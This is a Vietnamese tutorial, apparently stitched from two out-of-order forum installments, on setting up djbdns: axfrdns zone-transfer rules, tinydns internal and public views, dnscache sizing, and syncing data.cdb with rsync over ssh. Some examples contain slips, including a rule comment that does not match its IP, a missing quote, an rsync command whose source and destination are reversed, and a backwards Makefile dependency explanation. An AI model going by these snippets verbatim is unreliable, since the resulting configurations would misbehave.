/var/dns/tinydns là thư mục chứa tinydns. axfrdns cần biết vị trí của root tinydns để lấy "zones"
203.100.10.10 là địa chỉ mà axfrdns sẽ lắng nghe.

Điều cần lưu ý là axfrdns có thể cùng dùng chung IP với tinydns (trong trường hợp này là 203.100.10.10). Lý do: tinydns chỉ dùng cổng 53 UDP và axfrdns chỉ dùng cổng 53 TCP cho nên không bị va chạm trong trường hợp này. Nếu bạn có "dư" IP và thích dùng axfrdns trên một IP nào khác thì bạn có trọn quyền quyết định (xem lại phần 2.2.2 và 2.2.3).

Tương tự như các dịch vụ trong bộ djbdns, bạn cần phải "đăng ký" axfrdns với svscan để nó khởi tạo và dịch vụ này bằng cách tạo symbolic link đến /service:
#ln -s /var/dns/axfrdns /service

Sau đó, khởi động dịch vụ axfrdns:
# svc /service/axfrdns

Cho đến lúc này, dịch vụ axfrdns đã được khởi động trên server. Tuy nhiên, dịch vụ này chưa hề có tác dụng. Lý do: trong thư mục /service/axfrdns/ có hồ sơ tcp hoàn toàn bỏ trống theo mặc định. Tuỳ theo nhu cầu riêng của bạn để hình thành hồ sơ này trước khi nó thật sự có tác dụng. Vì hồ nó bị trống, ngay lúc này không có bất cứ server nào có thể lấy "zones" từ tinydns server của bạn được. Đây là một đặc tính bảo mật của axfrdns: những gì không (hoặc chưa cho phép) thì hoàn toàn cấm. Thử lệnh sau để xác định axfrdns đã khởi động và lắng nghe trên cổng 53 TCP:
$ netstat -nat | grep "203.100.10.10:53"

Bước kế tiếp là bước tối quan trọng để xác định "secondary" DNS server nào được quyền lấy "zone" (qua AXFR). Hãy thử thiết lập vài entries trong hồ sơ tcp. Giả sử bạn mô hình mạng của bạn có những yếu tố sau:
- nội mạng có subnet là 172.16.1.0/24
- secondary DNS server dùng BIND có IP là 204.200.20.20
- có ba zones (domains) trên tinydns server bạn phải quản lý là 123.com, 456.org và 789.net


# cho phép 204.200.20.20 lấy bất cứ zone nào
204.200.20.20:allow

# cho phép 172.16.1.120 lấy 2 zones 123.com và 789.net
172.16.1.200:allow,AXFR="123.com/789.net"

# không cho phép 172.16.1.130 động t�›i bất cứ zone nào
172.16.1.130:deny

# cho phép một chuỗi IP trong dãy 172.16.1.50 đến 172.16.1.60 lấy được zone 789.net
172.16.1.50-60:allow,AXFR=789.net"

# cho phép các host còn lại trong subnet 172.16.1.x được quyền lấy zone 456.org
172.16.1.:allow,AXFR="456.org"

# cản trọn bộ mọi IP khác
:deny


Chi tiết trong đoạn ví dụ trên bao gồm hầu hết những trường hợp thường gặp. Nếu
- :deny đi sau bất cứ IP (hoặc chuỗi IP nào) thì nó hoàn toàn bị cản.
- :allow đi sau bất cứ IP (hoặc chuỗi IP nào) thì nó hoàn toàn được cho phép
- nếu đằng sau :allow còn kèm theo giá trị AXFR thì giá trị này ấn định cụ thể những zone nào được quyền lấy. Giá trị này được tách rời bởi dấu phẩy (,) hay còn gọi là "comma separator".

Sau khi hoàn tất hồ sơ tcp này, việc còn lại cần phải làm là "make" hồ sơ này từ dạng ASCII thành dạng .cdb:

# cd /service/axfrdns
# make



Sau đó tái khởi động axfrdns để nó đọc lại hồ sơ tcp.cdb và ứng hiệu với những quy định bạn vừa áp đặt ở trên:
# svc -t /service/axfrdns

6.3.2 Thử nghiệm và điều chỉnh axfrdns
Cũng như các dịch vụ khác vừa được thiết lập, thử nghiệm và điều chỉnh cho thích hợp là bước cần thiết. Dựa trên ví dụ trong hồ sơ tcp ở trên, giả sử bạn đang ở trên server 204.200.20.20, bạn có thể dùng tiện dụng host để thử như sau:
$ host -l 123.com 203.100.10.10
trong đó,
- chọn lựa -l dùng để liệt kê zone cần biết
- 123.com là mục tiêu zone cần liệt kê
- 203.100.10.10 là IP của primary DNS server, trong trường hợp này nó chính là tinydns server của bạn
Bạn sẽ thấy các thông tin tương tự như sau nếu axfrdns đã thiết lập thành công:

Code:
Using domain server:
Name: 203.100.10.10
Address: 203.100.10.10#53
Aliases:
123.com SOA ns1.123.com. hostmaster.123.com. 1098357511 16384 2048 1048
576 2560
Using domain server:
Name: 203.100.10.10
Address: 203.100.10.10#53
Aliases:
123.com name server ns1.123.com.
Using domain server:
Name: 203.100.10.10
Address: 203.100.10.10#53
Aliases:
123.com mail is handled by 0 mail.123.com.
Using domain server:
Name: 203.100.10.10
Address: 203.100.10.10#53
Aliases:
www.123.com has address 203.100.10.12
Using domain server:
Name: 203.100.10.10
Address: 203.100.10.10#53
Aliases:
mail.123.com has address 203.100.10.11
Using domain server:
Name: 203.100.10.10
Address: 203.100.10.10#53
Aliases:
ns1.123.com has address 203.100.10.10
Using domain server:
Name: 203.100.10.10
Address: 203.100.10.10#53
Aliases:
123.com SOA ns1.123.com. hostmaster.123.com. 1098357511 16384 2048 1048
576 2560


Danh sách này sẽ dài lê thê nếu bạn có nhiều entries trong mỗi zone (domain). Vấn đề quan trọng ở đây là từ host 204.200.20.20 bạn có thể dùng tiện ích host với chọn lựa là -l; chứng tỏ axfrdns của bạn cho phép host 204.200.20.20 chuyển zone.

Có thể dùng dig -22- như một tiện dụng khác để kiểm nghiệm zone transfer. Giả sử axfrdns lắng nghe trên 203.100.10.10 và bạn đang dùng một IP mà tcp ở trên cho phép "transfer zone" 123.com, bạn có thể dùng lệnh sau:


[conmeo@home conmeo]$ dig @203.100.10.10 axfr 123.com


Trong đó,
- dig là tiện ích dig
- @203.100.10.10 là IP của primary DNS server bạn muốn thử transfer zone 123.com có cho phép hay không
- 123.com là "zone" (hoặc domain) bạn muốn thử transfer

sẽ cho bạn kết quả tương tự như sau:

Code:
; <<>> DiG 9.2.1 <<>> @203.100.10.10 axfr 123.com
;; global options: printcmd
123.com. 259200 IN SOA ns1.123.com. hostmaster.123.com. 1098357511 16384 2048 1048576 2560
123.com. 86400 IN NS ns1.123.com.
123.com. 86400 IN NS ns2.123.com.
123.com. 86400 IN MX 0 mail.123.com.
www.123.com. 86400 IN A 203.100.10.12
mail.123.com. 86400 IN A 203.100.10.11
ns1.123.com. 259200 IN A 203.100.10.10
ns2.123.com. 259200 IN A 204.200.20.29
123.com. 86400 IN A 203.100.10.12
123.com. 259200 IN SOA ns1.123.com. hostmaster.123.com. 1098357511 16384 2048 1048576 2560
;; Query time: 463 msec
;; SERVER: 203.100.10.10#53(203.100.10.10)
;; WHEN: Thu Nov 14 15:34:18 2004
;; XFR size: 10 records


Bạn thử dùng một máy nào khác có IP không nằm trong quy định áp đặt trong hồ sơ tcp của axfrdns và thử lại xem? chắc chắn bạn sẽ được báo lỗi (ngoại trừ bạn quên mảnh :deny ở dòng cuối trong hồ sơ tcp).

Nếu cần phải thêm bớt các entries trong hồ sơ tcp ở trên, bạn chỉ cần điều chỉnh theo ý muốn (tất nhiên phải đúng dạng quy định) và luôn luôn nhớ phải "make" sau mỗi lần điều chỉnh (chạy lệnh "make" ngay trong thư mục chứa hồ sơ tcp của axfrdns). Điều quan trọng cần lưu ý khi dùng dịch vụ axfrdns: nên cẩn thận khi xác lập quyền truy cập và chuyển zones cho các IP vì đây là cánh cửa mở ra những thông tin về mạng của bạn, kể cả những thông tin công cộng cần biết và công cộng không cần biết.

Sau khi đã hoàn thành việc ấn định cho các IP cụ thể nào được quyền "transfer zones" trên primary DNS server của bạn (tinydns server), bạn cần phải chỉnh hồ sơ /etc/named.conf để nó biết được primary DNS server là host nào -23-. Secondary DNS server sẽ tự động cập nhật thông tin về zones (domains) từ primary DNS server dựa trên thông tin TTL -24- mà primary DNS server đã ấn định.


Lời kết
Tôi muốn mượn phần "lời kết" này để tổng kết cấu trúc và hoạt động của bộ djbdns. djbdns gồm ba dịch vụ chính: dnscache, tinydns và axfrdns (ngoài ra còn có walldns nhưng chúng ta không đề cập trong tài liệu này). Mỗi dịch vụ trên có chức năng và hoạt động khác nhau.
- dnscache "lắng nghe" trên cả hai cổng 53 UDP và TCP, chức năng đặc trưng của nó là phục vụ recursive name resolving ==> mạng LAN của bạn cần giải quyết tên / IP của các hosts bên ngoài Internet.
- tinydns "lắng nghe" chỉ trên cổng 53 UDP, chức năng đặc trưng của nó là phục vụ authoritative answering ==> các hosts bên ngoài Internet cần giải quyết tên các hosts thuộc các domain bạn làm chủ hay quản lý.
- axfrdns "lắng nghe" chỉ trên cổng 53 TCP, chức năng đặc trưng của nó là phục vụ zones transfering ==> các secondary DNS servers như BIND chẳng hạn cần lấy zones từ tinydns, một primary DNS server.

- Bạn có thể thiết kế một hoặc nhiều dnscache servers cho các LAN của bạn, các máy con trong LAN chỉ cần trỏ đến dnscache server để lấy thông tin (name / IP) của các hosts bên ngoài Internet. dnscache thay mặt các máy con để thực hiện việc này và lưu giữ (cache) các thông tin đã tìm được. Những thông tin được cache sẽ được dnscache xoá bỏ và cập khi chúng quá hạn. Bạn cũng có thể quy định cho dnscache đi thẳng đến tinydns của bạn để lấy thông tin về các hosts thuộc các domain bạn làm chủ hoặc quản lý, thay vì dnscache phải đi một vòng rất lớn để cuối cùng sẽ trở về chính tinydns server này. dnscache hoạt động hoàn toàn độc lập với tinydns.

- Bạn có thể thiết kế rất nhiều mô hình khác nhau cho tinydns để đáp ứng nhu cầu cụ thể của mình. Trọn bộ các thông tin thuộc về zones (domains) của tinydns gói gọn trong hồ sơ data. Nếu cả primary DNS và secondary DNS (và các DNS server phụ khác thuộc giới hạn quản lý của bạn) đều dùng tinydns thì vấn đề cập nhật thông tin cho "zones" có thể tự động hoá hoàn toàn và cơ chế này rất an toàn so với cơ chế AXFR truyền thống.

- Bạn có thể ấn định cho axfrdns của bạn cho phép những secondary DNS servers nào có thể transfer zones nếu chúng không dùng tinydns làm "authoritative" server. Nếu dùng phương pháp này, bạn cần phải cân nhắc và điều chỉnh hồ sơ tcp của axfrdns một cách cẩn thận để loại trừ những nguy cơ bảo mật có thể xảy ra. axfrdns cần phải biết tinydns ở đâu để lấy thông tin "zones". Nếu không có thông tin này, axfrdns vẫn có thể hoạt động nhưng không cung cấp bất cứ thông tin nào.

Cho đến nay, có thể nói DNS là một dịch vụ cần thiết nhất cho môi trường liên mạng. Chức năng cốt lõi của DNS rất đơn giản nhưng thực tế ứng dụng rất đa dạng, cho nên vấn đề thiết kế DNS trở nên phức tạp. Nếu như bạn đã hình thành phương án và kế hoạch cho mỗi dịch vụ một cách rõ ràng, khúc chiết, việc thiết lập bộ djbdns để mang lại các dịch vụ nói trên thật ra không phức tạp. Hy vọng tài liệu này phần nào giúp ích bạn hình thành dịch vụ DNS bền bỉ và hiệu năng.

<hoàn tất 16/11/2004>
hnd - vninformatics.com / diendantinhoc.net 11/2004


Chú thích:
-22- dig một tiện dụng không thể thiếu cho những ai cần test và debug những vấn đề thuộc về DNS. dig được cài sẵn trong hầu hết các Linux distro gần đây. Nó là một tiện ích thuộc nhóm các tiện ích đi với BIND. nslookup cũng là một tiện dụng rất phổ biến nhưng đặc biệt trên *nix, dig được khuyến khích dùng để thay thế nslookup.

-23- Có lẽ DNS server phổ biến nhất vẫn là BIND cho nên tôi đã đề cập đến /etc/named.conf. Có vài nhu liệu khác cung cấp dịch vụ DNS nói chung (ngoài BIND và djbdns) nhưng chúng rất ít thông dụng vì nhiều lý do khác nhau. Đối với BIND, giả định bạn muốn ấn định host đang được điều chỉnh /etc/named.conf làm secondary DNS server và tải dụng "zones" từ tinydns server trong ví dụ trên (có IP là 203.100.10.10), bạn có thể thêm giá trị tương tự như sau vào /etc/named.conf:

zone "123.com" {
type slave;
masters 203.100.10.10;
file "db.123.com";
};

-24- TTL là giá trị "Time To Live" hay là "thời gian sống". Đây là giá trị ấn định trong khoảng thời gian bao lâu thì thông tin về một host nào đó thuộc domain bạn làm chủ (hay quản lý) có giá trị. Sau thời gian TTL đó, DNS server nào cần biết thông tin các hosts thuộc domain bạn làm chủ (hay quản lý), nó phải liên hệ tinydns server của bạn để lấy thông tin mới nhất chớ không còn dùng thông tin đã được cached. Giá trị TTL là con số đi sau cùng trong mỗi dòng trong hồ sơ data của tinydns, có giá trị thời gian tính theo giây.
Thay thế BIND với djbdns - phần 4

5. Kỹ thuật nâng cao cho tinydns
5.1 Tách rời khu vực trong tinydns data
Trong trường hợp bạn có một loạt host thuộc nội mạng và cần thiết lập name service cho chúng để dùng trong phạm vi nội mạng mà không cho phép bất cứ máy nào bên ngoài khu vực ấn định có thể "query" được, tinydns cho phép thiết lập nhu cầu này rất dễ dàng. Giả định bạn dùng một tinydns server nằm ở DMZ cho cả nội mạng và Internet.

Có vài hình thức dùng để hình thành các dạng tách rời khu vực trong hồ sơ "data" của tinydns:

a. cách dùng đuôi .lan (hoặc bất cứ đuôi nào tùy thích nhưng không phải là .com, .org, .net và các . dùng công cộng)
b. cách điều chỉnh "data" của tinydns để giới hạn query thông tin.

Hãy thử khai triển hai dạng trên.

5.1.1 Dùng đuôi .lan cho nội mạng
Giả sử các host trong nội mạng cần được resolve, bạn có thể dùng dạng host.123.lan chẳng hạn để tách rời giữa các host được phục vụ cho công cộng và các host chỉ dành cho nội mạng. Ngoài các thông tin dành cho công cộng, thử thêm vào hồ sơ data của tinydns ở trên như sau:

# thông tin cho công cộng
Code:
.123.com::blue.123.com:259200
.123.com::red.123.com:259200
.10.100.203.in-addr.arpa::blue.123.com
.20.200.204.in-addr.arpa::red.123.com
=blue.123.com:203.100.10.10
=red.123.com:204.200.20.20
@123.com::mail.123.com
=mail.123.com:203.100.10.11
=web.123.com:203.100.10.12
+www.123.com:203.100.10.12


# cụ thể cho .lan
# khởi tạo SOA cho DNS server ở 123.lan dùng host blue
.123.lan::blue.lan:259200

# reversed lookup cho blue.123.lan
.0.168.192.in-addr.arpa::blue.123.lan

# tạo PTR record cho host blue
=blue.123.lan:192.168.0.2

# tạo A record cho host pink
+pink.123.lan:172.16.1.10

# tạo A record cho host green
+green.123.lan:172.16.1.11

Và cứ như vậy mà tạo thêm thông tin cho các host thuộc .lan tùy nhu cầu. Khi hoàn thành, bạn cần phải make để tạo hồ sơ "data.cdb" mới cho tinydns.

Bước kế tiếp không thể thiếu được vì nó cần để "ra lệnh" dnscache server đi thẳng đến tinydns server (mà chúng ta vừa tạo thông tin cho các host ở trên) để lấy thông tin. Giả định vẫn dùng dnscacheext (của phần 4.3.3) làm "resolver" trong trường hợp này, chúng ta thực hiện các bước sau:

# cd /service/dnscacheext/root/servers
# echo 192.168.0.2 > 123.lan
# echo 192.168.0.2 > .0.168.192.in-addr.arpa


Hai lệnh "echo" ở trên đơn giản dùng để thêm giá trị 192.168.0.2 vào trong hai hồ sơ có tên là "123.lan" và ".0.168.192.in-addr.arpa" trong thư mục /service/dnscacheext/root/servers. Đơn giản mà nói, hồ sơ thứ nhất "123.lan" dùng để chỉ định cho dnscacheext đi đến máy có IP là 192.168.0.2 (đang chạy tinydns) để tìm lấy thông tin cho những gì thuộc về domain 123.lan nếu có client nào request. Tương tự, hồ sơ ".0.168.192.in-addr-arpa" dùng để trả lời cho reverse lookup.

Vậy nếu các máy con trong nội mạng cần resolve một host nào đó thuộc domain 123.com thì sao? Có hai cách:
- dnscache vẫn đi một vòng lớn để hỏi tìm thông tin thuộc domain 123.com -16-,
- hoặc bạn ra lệnh cho dnscache liên hệ trực tiếp với tinydns để lấy thông tin thuộc về domain 123.com

# cd /service/dnscacheext/root/servers
# echo 192.168.0.2 > 123.com
# echo 192.168.0.2 > .0.168.192.in-addr.arpa


Tương tư như trên cho "123.lan", đoạn lệnh trên ứng dụng cho "123.com".

Điều căn bản tất yếu là host mang IP 192.168.0.2 làm "authoritative server" được dnscache trong nội mạng thấy với private IP 192.168.0.2 đồng thời các máy trên Internet có thể "thấy" nó với public IP (xuyên qua phương thức mapping public IP thành private IP từ router hoặc phương thức NAT). Đối với các máy bên ngoài Internet, host blue.123.com (192.168.0.2) có thể được thấy với public IP như 203.100.10.10 chẳng hạn. Chi tiết vấn đề trên nằm ngoài giới hạn của tài liệu này.

5.1.2 Dùng tính năng "region" trong hồ sơ "data" của tinydns
Trong bảng tóm tắt các dấu hiệu dùng trong hồ sơ data của tinydns có dấu phần trăm smilie dùng để xác định khu vực cho thông tin. Đây chính là chìa khoá cho phương pháp ứng dụng "region". Đặc tính của khóa "region" trong hồ sơ "data" của tinydns ở chỗ nó quy định hẳn hòi các IP (và host nào) được tinydns trả lời cho Internet và cho nội mạng.

Chỉ định "region" trong data của tinydns có cú pháp:
%<location>:<IP-prefix>, trong đó
<location> được biểu thị bằng một (1) hoặc hai (2) chữ cái, ví dụ: AB, CD, IN, EX
<IP-prefix> được biểu thị bằng chuỗi IP, ví dụ: 192.168.1 (ngầm hiểu là 192.168.1.0/24)

Hãy cùng xét hồ sơ "data" sau:

# khu vực nội mạng (gi�›i hạn cho nội mạng 172.16.1.0/24)
%IN:172.16.1

# khu vực công cộng (Internet, bất cứ nơi đâu bên ngoài nội mạng, không gi�›i hạn bất cứ IP nào)
Code:
%EX:
.123.com::blue.123.com:259200::EX
.123.com::red.123.com:259200::EX
.10.100.203.in-addr.arpa::blue.123.com::EX
.20.200.204.in-addr.arpa::red.123.com::EX
=blue.123.com:203.100.10.10::EX
=red.123.com:204.200.20.20::EX
@123.com::mail.123.com::EX
=mail.123.com:203.100.10.11::EX
=web.123.com:203.100.10.12::EX
+www.123.com:203.100.10.12::EX
# dành riêng cho nội mạng
+pink.123.com:172.16.1.10::IN
+green.123.com:172.16.1.11::IN


- Tất cả các entry có đuôi % đi kèm ấn định thông tin này được giới hạn cho region đã ấn định

- Nếu có nhiều regions thì bạn phải công bố nhiều giá trị % cho mỗi region.

Sau khi "make" hồ sơ "data", các thông tin để tinydns dùng để trả lời các host / domain được phân chia theo region IN và EX. Bất cứ entry nào có đuôi là EX thì tinydns sẽ dùng để trả lời cho mọi địa chỉ (theo quy chế authoritative), bất cứ entry nào có đuôi là IN thì chỉ có nội mạng (172.16.1.0/24) mới được tinydns cung cấp thông tin. Nói một cách khác, một host nào đó từ Internet muốn resolve IP / name của host mail.123.com chẳng hạn thì tinydns sẽ cung cấp thông tin vì nó được ấn định đuôi "EX", nhưng nếu host này muốn resolve IP / name của host pink.123.com thì host này sẽ thuộc dạng "không tồn tại".

Đối với trường hợp các máy con trong nội mạng cần resolve name xuyên qua dnscache, tất nhiên bạn vẫn cần "kết nối" dnscache và tinydns với nhau như ở phần 4.5.1 để dnscache đi thẳng đến tinydns mà lấy thông tin thay vì phải đi một vòng lớn (như ở phần chú thích 16).

5.2 Tách rời tinydns server cho nội mạng và tinydns server cho Internet
Phương pháp dùng hai tinydns servers cho hai khu vực riêng biệt là phương pháp an toàn nhất nếu bạn muốn kiện toàn bảo mật cho dịch vụ DNS. Bạn có thể thiết lập hai tinydns servers ở hai khu vực:
- tinydns thuộc DMZ chỉ chứa thông tin cho các host phục vụ cho công cộng
- tinydns thuộc nội mạng chứa các thông tin chỉ dành riêng cho nội mạng
Với phương pháp tách rời hai tinydns servers, không những bạn có thể ấn định thông tin các host nào được cung cấp mà bạn còn có thể loại trừ trường hợp tinydns server dùng cho công cộng bị nhân nhượng cũng không bị lộ các thông tin thuộc về nội mạng.

Phương pháp tạo các tinydns server này như đã bàn ở phần 4.4, chúng ta không cần phải lặp lại chi tiết. Tuy nhiên, để tiện hình dung, hai hồ sơ "data" cho hai tinydns servers tạm có nội dung như sau:

tinydns công cộng nằm ở DMZ
Code:
# thông tin cho công cộng
.123.com::blue.123.com:259200
.123.com::red.123.com:259200
.10.100.203.in-addr.arpa::blue.123.com
.20.200.204.in-addr.arpa::red.123.com
=blue.123.com:203.100.10.10
=red.123.com:204.200.20.20
@123.com::mail.123.com
=mail.123.com:203.100.10.11
=web.123.com:203.100.10.12
+www.123.com:203.100.10.12


- tinydns cho công cộng vẫn dùng host blue và red làm các "authoritative" servers và các IP vẫn là các public IP.
- tinydns cho công cộng chỉ cung cấp các thông tin đã ấn định ở đây.

tinydns nội mạng nằm trong nội mạng
Code:
# thông tin cho nội mạng
.123.com::orange.123.com:259200
.1.16.172.in-addr.arpa::orange.123.com
=orange.123.lan:172.16.1.100
=pink.123.com:172.16.1.10
=green.123.com:172.16.1.11
=yellow.123.com:172.16.1.12
+intranet.123.com:172.16.1.12


- tinydns cho nội mạng dùng host orange làm "authoritative" server và các IP ở đây hoàn toàn là private IP.
- tinydns cho nội mạng chỉ cung cấp các thông tin được ấn định ở đây.

Điều cần phải hoàn tất ở đây là phải "ra lệnh" cho dnscache của nội mạng biết đi đâu để lấy thông tin cho các host thuộc domain 123.com (cả thông tin công cộng lẫn thông tin dành cho nội mạng). Chạy các lệnh sau:

# cd /service/dnscacheext/root/servers
# echo 172.16.1.100 > 123.com
# echo 172.16.1.100 > .1.16.172.in-addr.arpa

# cd /service/dnscacheext/root/servers
# echo 192.168.0.2 > 123.com
# echo 192.168.0.2 > .0.168.192.in-addr.arpa


Như đã giải thích ở phần 5.1.1, các lệnh "echo" ở trên dùng để "ra lệnh" cho dnscacheext đi đến hai tinydns servers có IP là 172.16.1.100 và 192.168.0.2 lấy thông tin nếu có query nào thuộc về domain "123.com". Điểm cần chú ý ở đây là tinydns cho công cộng ở 192.168.0.2 đối với nội mạng vẫn là host nằm ở DMZ dùng private IP. dnscacheext sẽ đi ra ngoài các root DNS để tìm các thông tin thuộc về các domain khác mà bạn không làm chủ hoặc không quản lý đúng theo chức năng của nó.

6. Bảo trì
dnscache và tinydns sau khi thiết lập một cách hoàn chỉnh, công tác bảo trì trở nên rất đơn giản. Đối với dnscache, vấn đề đáng quan tâm nhất là việc quản lý memory cho cache và thông tin trong cache. Vấn đề này cần được theo dõi và điều chỉnh tuỳ theo số lượng thông tin được cache. Đối với tinydns, ngoài việc thêm bớt các thông tin thuộc về các domain cho bạn làm chủ hoặc quản lý bằng cách điều chỉnh trực tiếp đến hồ sơ "data" (và make sau khi điều chỉnh), bạn cần quan tâm đến vấn đề phân bố thông tin cập nhật cho secondary tinydns server.

6.1 Điều chỉnh kích thước cache của dnscache
Theo mặc định, giá trị memory ấn định cho dnscache là 1Mb. Tùy theo số lượng thông tin và biên độ thông tin được cached, bạn cần điều chỉnh giá trị memory cho thích hợp. Giá trị memory của dnscache được ấn định trong thư mục env thuộc thư mục chứa dnscache. Cú pháp tổng quát như sau:
# echo <mem> /service/dnscache/env/CACHESIZE
# echo <mem> /service/dnscache/env/DATALIMIT

Trong đó,
<mem> là giá trị memory ở đơn vị bytes được ấn định (Ví dụ, 8Mb ==> 1024 * 1024 * 8 = 8388608)
CACHESIZE là biến số giá trị cache được dnscache "đọc" và xử dụng khi khởi động (hay tái khởi động)
DATALIMIT là biến số giới hạn ấn định không cho dnscache dùng memory vượt quá giới hạn này. Giới hạn này thật sự chỉ là giới hạn an toàn dùng để ngăn ngừa tình trạng memory "rò rỉ" (leak), giới hạn này thường có giá trị cao hơn CACHESIZE đôi chút.

Nếu dnscache dùng memory đến giới hạn CACHESIZE đã ấn định, nó sẽ không chứa thông tin lấy được từ các authoritative DNS servers trong cache nữa. Sau giới hạn này, mỗi request được dnscache lấy từ authoritative DNS server và cung cấp thẳng đến máy con mà không hề lưu trữ (nếu thông tin này chưa hề có trong cache). Khi các thông tin được lưu trong cache của dnscache bị quá hạn (dựa trên thông tin TTL), chúng sẽ được xoá bỏ và thông tin mới sẽ được đưa vào các khoảng trống này. Vì các thông tin được lưu trên memory cache nên các máy con được cung cấp thông tin cần thiết rất nhanh và giảm thiểu lưu thông đến Internet và lưu thông đi về lại dnscache server. Nếu có thể được, bạn nên ấn định lượng memory tương đối rộng rãi cho dịch vụ dnscache. -17-

Như đã đề cập ở trên, thông tin dnscache lấy được và cung cấp cho các máy con được lưu trữ trên memory. Bởi thế, mỗi khi tái khởi động dịch vụ dnscache, trọn bộ các thông tin được "cached" sẽ bị xoá. Nếu bạn muốn xoá trọn bộ cache của một dnscache server nào đó, bạn chỉ cần tái khởi động dịch vụ dnscache. Chức năng lưu trữ "cache" trên memory (thay vì trên đĩa) cũng là một tính năng bảo mật của dnscache nói riêng và djbdns nói chung: chỉ có chính dnscache thâu thập thông tin cần thiết và lưu trữ chúng ngay trên memory được ấn định trước và xoá chúng khi các thông tin này bị quá hạn. Các phương pháp thông thường dùng để "tiêm" những thông tin không thẩm quyền (và có thể hư hoại) vào phần "cache" của dịch vụ DNS không thể ứng dụng được với dnscache.

6.2 Quản lý tinydns (một và nhiều servers)
Vấn đề quản lý dữ liệu giữa các authoritative DNS servers thường dùng cơ chế "zone transfer" (AXFR). Những phiên bản gần đây của BIND ứng dụng phương thức ACL để giới hạn "zone transfer" chỉ cho các servers được ấn định thực hiện chuyện này. Đây là một cải tiến rất lớn của BIND để kiện toàn bảo mật cho dịch vụ DNS trên BIND. Tuy nhiên, cơ chế zone transfer vẫn có những điểm hở trên phương diện bảo mật (spoofed IP vẫn có thể dùng để transfer zone của BIND chẳng hạn). Hơn nữa, cơ chế AXFR mang tính "thụ động" (passive) đối với primary DNS server, điều này có nghĩa BIND cho phép zone transfer, các secondary server được quyền chuyển dữ liệu (đã cập nhật) từ primary server khi nào cần và khi nào muốn.

Đối với tinydns, việc phân bố và cập nhật thông tin "zone" (trong hồ sơ data.cdb) giữa các tinydns servers là một việc hết sức đơn giản. Bởi hồ sơ data.cdb có dạng "platform independent" -18- nên hồ sơ data.cdb sau khi được biên dịch trên một linux server có thể mang đến dùng cho một bsd server hoặc một solaris server nếu chúng cùng chạy tinydns. Bạn có thể dễ dàng cập nhật data.cdb đến các tinydns server khác (các secondary server) ngay sau khi data.cdb được tái tạo. Đây chính là tính "năng động" (active) của tinydns và zone transfer không còn cần thiết nữa. Tất nhiên, những hạn chế bảo mật của AXFR hoàn toàn được loại trừ khi thông tin giữa các authoritative servers không còn cập nhật bằng cơ chế zone transfer.

Có nhiều cách để thực hiện công tác cập nhật hồ sơ data.cdb giữa các tinydns servers. Một cách tổng quát mà nói, nếu bạn có thể tải dữ liệu từ tinydns server này sang tinydns server kia (qua ftp, scp, sftp....) thì bạn có thể cập nhật hồ sơ data.cdb này tự động hoặc "bằng tay". Bạn chỉ đơn giản sao chép hồ sơ data.cdb của tinydns server chính và mang qua các tinydns server phụ (vào thư mục chứa data.cdb và viết chồng lên), sau đó tái khởi động dịch vụ tinydns là xong. Ở đây tôi muốn đưa ra một cách đơn giản nhất và hoàn toàn tự động, cơ chế này phụ thuộc vào dịch vụ SSH đã được thiết lập hoàn chỉnh trên các secondary tinydns server.

Giả sử bạn có primary tinydns server với hostname là blue.123.com và secondary tinydns server với hostname là red.123.com (vẫn dùng ví dụ trong phần 4.4), server này đã có SSH -19- lắng nghe trên cổng 22 chẳng hạn và bạn có một tài khoản để truy cập vào host red.123.com.

Cách chuyển data.cdb bằng tay
Trên console của máy blue.123.com, bạn chạy lệnh sau:
$ rsync -e "ssh -p 22" -az <yourname>@red.123.com:/path/to/localdir/data.cdb /path/to/remotedir/data.cdb
trong đó,
- Tham số "ssh -p 22" dùng để đưa vào giá trị ssh server và cổng dịch vụ của nó để rsync truy cập đến. Nếu ssh server trên red.123.com không dùng cổng 22 mà dùng cổng khác thì bạn có thể thay thế giá trị này.
- <yourname> ở đây là login name (tài khoản) bạn có, dùng để login host red.123.com
- /path/to/localdir/data.cdb thường là /service/tinydns/root/data.cdb nơi chứa hồ sơ data.cdb trên blue.123.com
- /path/to/remowww/data.cdb thường là /service/tinydns/root/data.cdb nơi chứa hồ sơ data.cdb trên red.123.com

Điều quan trọng cần thiết lập trước trên host red.123.com là tài khoản <yourname> được dùng ở đây phải có quyền rw trong thư mục /path/to/remowww/ không thì hồ sơ data.cdb không thể cập nhật được. Đây chỉ là vấn đề thuộc diện "quyền truy cập" căn bản.

Sau khi cập nhật hồ sơ data.cdb trên host red.123.com, bạn cần tái khởi động dịch vụ tinydns trên host này. Bạn có thể dùng ssh để login host red.123.com từ xa, chuyển sang chế độ "super user" và chạy lệnh:
# svc -t /service/tinydns. Bạn cũng có thể thi hành lệnh này ngay trên host blue.123.com sau khi đã cập nhật hồ sơ data.cdb bằng lệnh:
# ssh -l <yourname> red.123.com /usr/local/bin/svc -t /service/tinydns (nếu <yourname> được phép tái khởi động tinydns, nếu không bạn phải dùng "root" -20- để thay thế cho <yourname>smilie.

Cách chuyển data.cdb tự động
Cách này tương tự như cách trên, chỉ khác ở một điểm duy nhất là thay vì phải thực thi các lệnh trên "bằng tay" trên một console, bạn chỉ cần đưa chúng vào hồ sơ Makefile nằm trong cùng thư mục chứa hồ sơ data.cdb (thông thường ở /service/tinydns/root/) và điều chỉnh hồ sơ Makefile từ:

Code:
data.cdb: data
/usr/local/bin/tinydns-data



trở thành:

Code:
remote: data.cdb
rsync -e "ssh -p 22" -az <yourname>@red.123.com:/path/to/localdir/data.cdb /path/to/remotedir/data.cdb
ssh -l <yourname> red.123.com /usr/local/bin/svc -t /service/tinydns
data.cdb: data
/usr/local/bin/tinydns-data



"Target" remote ở trên thao tác hai lệnh như đã bàn. Bạn cần thay thế các thông tin cho phù hợp. Sở dĩ "target" remote nằm trên vì nó là dependency của "target" data.cdb -21-.

Nếu không có sẵn rsync trên máy, bạn có thể dùng scp để thay thế cho dòng thứ nhất ở trên:
scp data.cdb red.123.com:/path/to/remotedir/data.cdb

Để tránh trường hợp thông tin của data.cdb không đồng bộ giữa primary và secondary server, bạn nên ngăn ngừa việc biên dịch hồ sơ "data" ngay trên secondary server nếu không, cơ hội bạn có hai hồ sơ data.cdb rất cao và đây là điều cần phải tránh cho dịch vụ DNS. Cách ngăn ngừa rất đơn giản: bạn chỉ cần điều chỉnh hồ sơ "data" trên secondary server như sau:

# Do not edit and make this file directly
# the compiled version is to be copied from primary server
# The next line is to stop make
9


<còn tiếp>
<hnd - vninformatics.com / diendantinhoc.net 11/2004)

Chú thích:
